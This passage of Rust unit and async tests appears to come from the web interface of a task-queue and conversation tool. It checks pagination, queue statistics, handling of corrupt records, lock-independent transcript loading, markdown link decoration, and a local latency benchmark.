24524        let (second, _) = page_ids(
24525            &ui,
24526            false,
24527            PageQuery {
24528                before: Some(cursor.clone()),
24529            },
24530        )
24531        .unwrap();
24532        assert_eq!(second[0], "record-0023");
24533        assert!(second.iter().all(|id| !first.contains(id)));
24534        assert!(
24535            page_ids(
24536                &ui,
24537                true,
24538                PageQuery {
24539                    before: Some(cursor.clone())
24540                }
24541            )
24542            .is_err()
24543        );
24544        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24545        assert_eq!(fresh[0], "record-9999");
24546        ui.monitor.list_walks.lock().unwrap().clear();
24547        assert!(
24548            page_ids(
24549                &ui,
24550                false,
24551                PageQuery {
24552                    before: Some(cursor)
24553                }
24554            )
24555            .is_err()
24556        );
24557    }
24558
24559    #[tokio::test]
24560    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24561        let home = tempfile::tempdir().unwrap();
24562        let ui = delta_test_ui(home.path());
24563        let mut task = Task::new(
24564            "task".into(),
24565            "body".into(),
24566            PathBuf::from("/repo"),
24567            Source::Human,
24568        );
24569        ui.queue.put(&mut task).unwrap();
24570        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24571        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24572        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24573        let expected = parsed + usize::from(!cfg!(unix));
24574        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24575        task.status = crate::queue::TaskStatus::Held;
24576        ui.queue.put(&mut task).unwrap();
24577        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24578        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24579        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24580        ui.queue.put(&mut task).unwrap();
24581        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24582        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24583        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24584    }
24585
24586    #[tokio::test]
24587    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24588        let home = tempfile::tempdir().unwrap();
24589        let ui = delta_test_ui(home.path());
24590        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24591        let before = health(State(ui.clone())).await.unwrap().0;
24592        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24593        let after = health(State(ui)).await.unwrap().0;
24594        assert_ne!(before.notifications_rev, after.notifications_rev);
24595        assert_eq!(after.notifications_unread, 1);
24596    }
24597
24598    #[tokio::test]
24599    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24600        let home = tempfile::tempdir().unwrap();
24601        let ui = delta_test_ui(home.path());
24602        let queue = &ui.queue;
24603        let talks = &ui.talks;
24604        for i in 0..1000 {
24605            let id = format!("20261019-{i:06}-page");
24606            let mut task = Task::new(
24607                "task".into(),
24608                "instruction".repeat(100),
24609                PathBuf::from("/repo/magi"),
24610                Source::Human,
24611            );
24612            task.id = id.clone();
24613            if i == 0 {
24614                task.status = crate::queue::TaskStatus::Held;
24615            } else if i == 999 {
24616                task.status = crate::queue::TaskStatus::Blocked;
24617                task.blocked_by = vec!["20261019-000000-page".into()];
24618            }
24619            queue.put(&mut task).unwrap();
24620            seed_talk_at(talks, &id, "open");
24621        }
24622        let page = serde_json::to_value(
24623            queue_page(State(ui.clone()), Query(PageQuery::default()))
24624                .await
24625                .unwrap()
24626                .0,
24627        )
24628        .unwrap();
24629        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24630        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24631        assert!(
24632            !page["rows"][0]["stuck_roots"]
24633                .as_array()
24634                .unwrap()
24635                .is_empty()
24636        );
24637        let cursor = page["next"].as_str().unwrap();
24638        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24639            .as_str()
24640            .unwrap();
24641        // Deleting an already enumerated file cannot shift or repeat a page.
24642        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24643        let next = serde_json::to_value(
24644            queue_page(
24645                State(ui.clone()),
24646                Query(PageQuery {
24647                    before: Some(cursor.into()),
24648                }),
24649            )
24650            .await
24651            .unwrap()
24652            .0,
24653        )
24654        .unwrap();
24655        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24656        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24657        let chats = serde_json::to_value(
24658            talks_page(
24659                State(ui.clone()),
24660                Query(PageQuery::default()),
24661                header::HeaderMap::new(),
24662            )
24663            .await
24664            .unwrap()
24665            .0,
24666        )
24667        .unwrap();
24668        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24669        assert!(chats["rows"][0].get("pending").is_none());
24670        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24671        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24672        assert_eq!(counts["held"], 1);
24673        assert_eq!(counts["blocked"], 1);
24674        assert_eq!(counts["queued"], 997);
24675    }
24676
24677    #[test]
24678    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24679        let dir = tempfile::tempdir().unwrap();
24680        let ui = delta_test_ui(dir.path());
24681        let mut task = Task::new(
24682            "task".into(),
24683            "body".into(),
24684            PathBuf::from("/repo"),
24685            Source::Human,
24686        );
24687        task.runs = vec!["run-a".into()];
24688        ui.queue.put(&mut task).unwrap();
24689        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24690        task.runs = vec!["run-b".into()];
24691        let path = ui.queue.path_of(&task.id);
24692        let modified = path.metadata().unwrap().modified().unwrap();
24693        let replacement = path.with_extension("replacement");
24694        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24695        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24696        std::fs::write(&replacement, &bytes).unwrap();
24697        std::fs::File::options()
24698            .write(true)
24699            .open(&replacement)
24700            .unwrap()
24701            .set_times(std::fs::FileTimes::new().set_modified(modified))
24702            .unwrap();
24703        std::fs::rename(&replacement, &path).unwrap();
24704        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24705        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24706        std::fs::write(&path, "broken").unwrap();
24707        assert!(ui.find_task_for_run("run-b").is_err());
24708        std::fs::write(&path, bytes).unwrap();
24709        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24710        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24711        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24712    }
24713
24714    #[tokio::test]
24715    async fn conversation_core_is_independent_of_unreadable_related_history() {
24716        let home = tempfile::tempdir().unwrap();
24717        let ui = delta_test_ui(home.path());
24718        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24719        std::fs::create_dir_all(ui.queue.root()).unwrap();
24720        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24721        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24722            .await
24723            .unwrap();
24724        assert_eq!(core.talk.id, id);
24725        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24726    }
24727
24728    #[test]
24729    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
24730        let home = tempfile::tempdir().unwrap();
24731        let ui = delta_test_ui(home.path());
24732        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24733        let directory = home.path().join("workers/jobs/abcdef");
24734        std::fs::create_dir_all(&directory).unwrap();
24735        let job = crate::worker::Job {
24736            id: "abcdef".into(),
24737            sequence: 1,
24738            kind: "chat".into(),
24739            key: id.clone(),
24740            payload: serde_json::json!({ "talk": id }),
24741            generation: "test".into(),
24742            version: None,
24743            status: crate::worker::Status::Running,
24744            result: None,
24745            pid: None,
24746            created_at: 0,
24747            finished_at: None,
24748        };
24749        std::fs::write(
24750            directory.join("job.json"),
24751            serde_json::to_vec(&job).unwrap(),
24752        )
24753        .unwrap();
24754        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
24755        let store =
24756            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
24757        let runtime = tokio::runtime::Builder::new_current_thread()
24758            .enable_all()
24759            .max_blocking_threads(1)
24760            .build()
24761            .unwrap();
24762        runtime.block_on(async {
24763            let (release, held) = std::sync::mpsc::channel();
24764            let (started, ready) = tokio::sync::oneshot::channel();
24765            let occupied = tokio::task::spawn_blocking(move || {
24766                started.send(()).unwrap();
24767                held.recv().unwrap();
24768            });
24769            ready.await.unwrap();
24770            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
24771            let bulk = ui
24772                .monitor
24773                .bulk_slots
24774                .clone()
24775                .acquire_many_owned(2)
24776                .await
24777                .unwrap();
24778            let result = tokio::time::timeout(
24779                Duration::from_secs(2),
24780                talk_core(State(ui.clone()), Path(id.clone())),
24781            )
24782            .await;
24783            // Release all blockers before assertions, including on a regression.
24784            drop(store);
24785            drop(bulk);
24786            release.send(()).unwrap();
24787            occupied.await.unwrap();
24788            let _ = secondary.await.unwrap().unwrap();
24789            let Json(core) = result
24790                .expect("transcript must bypass secondary work and the worker store lock")
24791                .unwrap();
24792            assert!(
24793                core.thinking,
24794                "read-only observation retains live worker state"
24795            );
24796            assert_eq!(core.talk.id, id);
24797            let admission_ui = ui.clone();
24798            let (release, held) = std::sync::mpsc::channel();
24799            let (started, ready) = tokio::sync::oneshot::channel();
24800            let admission = std::thread::spawn(move || {
24801                let _lock = admission_ui.talk_turns.lock().unwrap();
24802                started.send(()).unwrap();
24803                held.recv().unwrap();
24804            });
24805            ready.await.unwrap();
24806            let result = tokio::time::timeout(
24807                Duration::from_secs(2),
24808                talk_core(State(ui.clone()), Path(id.clone())),
24809            )
24810            .await;
24811            release.send(()).unwrap();
24812            admission.join().unwrap();
24813            assert!(
24814                result
24815                    .expect("display must not wait behind local admission")
24816                    .unwrap()
24817                    .0
24818                    .thinking
24819            );
24820            assert!(ui.is_thinking(&id));
24821            assert!(ui.is_thinking_observed(&id));
24822            drop(live);
24823            assert!(
24824                !ui.is_thinking_observed(&id),
24825                "a finished lease no longer appears live"
24826            );
24827            assert!(!ui.is_thinking(&id));
24828            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
24829            assert!(
24830                ui.is_thinking_observed(&id),
24831                "local admission remains visible"
24832            );
24833        });
24834    }
24835
24836    #[tokio::test]
24837    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24838        let home = tempfile::tempdir().unwrap();
24839        let ui = delta_test_ui(home.path());
24840        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24841        let mut task = Task::new(
24842            "Referenced task".into(),
24843            "Unrelated instruction history".repeat(1024),
24844            home.path().into(),
24845            Source::Human,
24846        );
24847        task.id = "20261019-000000-abcd".into();
24848        ui.queue.put(&mut task).unwrap();
24849        let mut conversation = ui.talks.get(&id).unwrap();
24850        conversation.turns.push(talk::Turn {
24851            sender: Some(talk::Sender::Persona),
24852            who: talk::Who::Agent,
24853            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24854            at: conversation.created_at,
24855            attachments: Vec::new(),
24856            usage: None,
24857            breaks: None,
24858            messages: Vec::new(),
24859            posted_by: None,
24860        });
24861        ui.talks.put(&mut conversation).unwrap();
24862
24863        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24864        let markdown = serde_json::to_value(&core.turn_bodies_md)
24865            .unwrap()
24866            .to_string();
24867        assert!(markdown.contains("\"strong\""));
24868        assert!(markdown.contains("\"table\""));
24869        assert!(markdown.contains("\"bullet_list\""));
24870        assert!(markdown.contains("\"code_block\""));
24871        assert!(!markdown.contains("\"internal_link\""));
24872        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24873        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24874        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24875
24876        // Deferred decoration still resolves the same validated task, without
24877        // touching opaque code blocks or changing the original transcript.
24878        let references = ui.references.for_talk(home.path(), &conversation);
24879        let mut decorated = core.turn_bodies_md[0].clone();
24880        references.markdown(&mut decorated);
24881        let decorated = serde_json::to_value(decorated).unwrap().to_string();
24882        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24883        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24884        assert_eq!(
24885            ui.talks.get(&conversation.id).unwrap().turns[0].body,
24886            conversation.turns[0].body
24887        );
24888    }
24889
24890    #[tokio::test]
24891    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24892        let home = tempfile::tempdir().unwrap();
24893        let ui = delta_test_ui(home.path());
24894        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24895        let mut run = RunState::new(
24896            PathBuf::from("/repo"),
24897            "main".into(),
24898            "01234567".into(),
24899            "Useful run".into(),
24900            Config::default(),
24901        );
24902        run.save_under(home.path()).unwrap();
24903        let mut task = Task::new(
24904            "Related".into(),
24905            "body".into(),
24906            PathBuf::from("/repo"),
24907            Source::Agent {
24908                run: talk_id.clone(),
24909                node: "chat".into(),
24910            },
24911        );
24912        task.runs = vec![run.id.clone()];
24913        ui.queue.put(&mut task).unwrap();
24914        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24915        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24916        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24917        assert!(
24918            run_detail(State(ui.clone()), Path(run.id.clone()))
24919                .await
24920                .is_ok()
24921        );
24922        assert!(
24923            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24924                .await
24925                .is_ok()
24926        );
24927        // Previously indexed corruption must not masquerade as no relationship.
24928        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24929        assert!(ui.find_task_for_run(&run.id).is_err());
24930        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24931        ui.queue.put(&mut task).unwrap();
24932        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24933    }
24934
24935    #[tokio::test]
24936    async fn conversation_sections_omit_large_task_instructions() {
24937        let home = tempfile::tempdir().unwrap();
24938        let ui = delta_test_ui(home.path());
24939        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24940        let mut task = Task::new(
24941            "filed task".into(),
24942            "large instruction ".repeat(65536),
24943            PathBuf::from("/repo"),
24944            Source::Agent {
24945                run: id.clone(),
24946                node: "chat".into(),
24947            },
24948        );
24949        ui.queue.put(&mut task).unwrap();
24950        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24951        assert_eq!(sections["tasks"][0]["id"], task.id);
24952        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24953        assert!(sections["tasks"][0].get("instruction").is_none());
24954        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24955    }
24956
24957    #[test]
24958    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24959        let home = tempfile::tempdir().unwrap();
24960        let talks = Talks::at(home.path().join("talks"));
24961        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24962        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24963        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24964        assert!(resolve_talk(&talks, "../outside").is_err());
24965        assert!(resolve_talk(&talks, "abcd").is_err());
24966        assert_eq!(
24967            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24968            "20261019-000001-abcd"
24969        );
24970    }
24971
24972    include!(concat!(
24973        env!("CARGO_MANIFEST_DIR"),
24974        "/tests/web_latency/baseline.rs"
24975    ));
24976
24977    include!(concat!(
24978        env!("CARGO_MANIFEST_DIR"),
24979        "/tests/web_latency/lists.rs"
24980    ));
24981
24982    #[tokio::test]
24983    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24984    async fn web_history_latency_measurement() {
24985        use std::time::Instant;
24986        let home = tempfile::tempdir().unwrap();
24987        let ui = delta_test_ui(home.path());
24988        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24989        let mut template = ui.talks.get(&id).unwrap();
24990        template.turns = serde_json::from_value(serde_json::json!([{
24991            "who": "operator", "body": "Show the accumulated work and its current status.",
24992            "at": Timestamp::now().to_string(),
24993        }]))
24994        .unwrap();
24995        std::fs::write(
24996            ui.talks.path_of(&id),
24997            serde_json::to_vec(&template).unwrap(),
24998        )
24999        .unwrap();
25000        let count = std::env::var("MAGI_BENCH_RECORDS")
25001            .ok()
25002            .and_then(|s| s.parse::<usize>().ok())
25003            .unwrap_or(1000);
25004        for i in 0..count {
25005            template.id = format!("20261019-{i:06}-history");
25006            template.pending = "history ".repeat(2048);
25007            std::fs::write(
25008                ui.talks.path_of(&template.id),
25009                serde_json::to_vec(&template).unwrap(),
25010            )
25011            .unwrap();
25012            let mut task = Task::new(
25013                "old task".into(),
25014                "instruction ".repeat(2048),
25015                PathBuf::from("/repo"),
25016                Source::Human,
25017            );
25018            task.id = format!("20261019-{i:06}-task");
25019            ui.queue.put(&mut task).unwrap();
25020        }
25021        for baseline in [true, false] {
25022            for clients in [1, 4] {
25023                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25024                let mut samples = Vec::new();
25025                for _ in 0..12 {
25026                    let mut jobs = Vec::new();
25027                    for _ in 0..clients {
25028                        let ui = ui.clone();
25029                        let id = id.clone();
25030                        jobs.push(tokio::spawn(async move {
25031                            let start = Instant::now();
25032                            if baseline {
25033                                let response =
25034                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25035                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25036                                return (
25037                                    elapsed,
25038                                    elapsed,
25039                                    serde_json::to_vec(&response).unwrap().len(),
25040                                );
25041                            }
25042                            let core = talk_core(State(ui.clone()), Path(id.clone()));
25043                            let secondary = talk_sections(State(ui), Path(id));
25044                            let (first, total) = tokio::join!(
25045                                async {
25046                                    let value = core.await.unwrap().0;
25047                                    (
25048                                        start.elapsed().as_secs_f64() * 1000.0,
25049                                        serde_json::to_vec(&value).unwrap().len(),
25050                                    )
25051                                },
25052                                async {
25053                                    let value = secondary.await.unwrap().0;
25054                                    (
25055                                        start.elapsed().as_secs_f64() * 1000.0,
25056                                        serde_json::to_vec(&value).unwrap().len(),
25057                                    )
25058                                }
25059                            );
25060                            (first.0, first.0.max(total.0), first.1 + total.1)
25061                        }));
25062                    }
25063                    for job in jobs {
25064                        samples.push(job.await.unwrap());
25065                    }
25066                }
25067                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25068                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25069                first.sort_by(f64::total_cmp);
25070                total.sort_by(f64::total_cmp);
25071                let n = first.len();
25072                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25073                println!(
25074                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25075                    first[n / 2],
25076                    first[(n * 95 / 100).min(n - 1)],
25077                    total[n / 2],
25078                    total[(n * 95 / 100).min(n - 1)],
25079                    samples[0].2
25080                );
25081            }
25082        }
25083    }
25084
25085    #[test]
25086    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25087        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
25088        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25089        assert!(APP_JS.contains("function nextRunRequest(id)"));
25090        assert!(APP_JS.contains("function runShell(id, summary)"));
25091        assert!(APP_JS.contains("function nextTaskRequest(id)"));
25092        assert!(APP_JS.contains("function taskShell(id, summary)"));
25093        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25094    }
25095}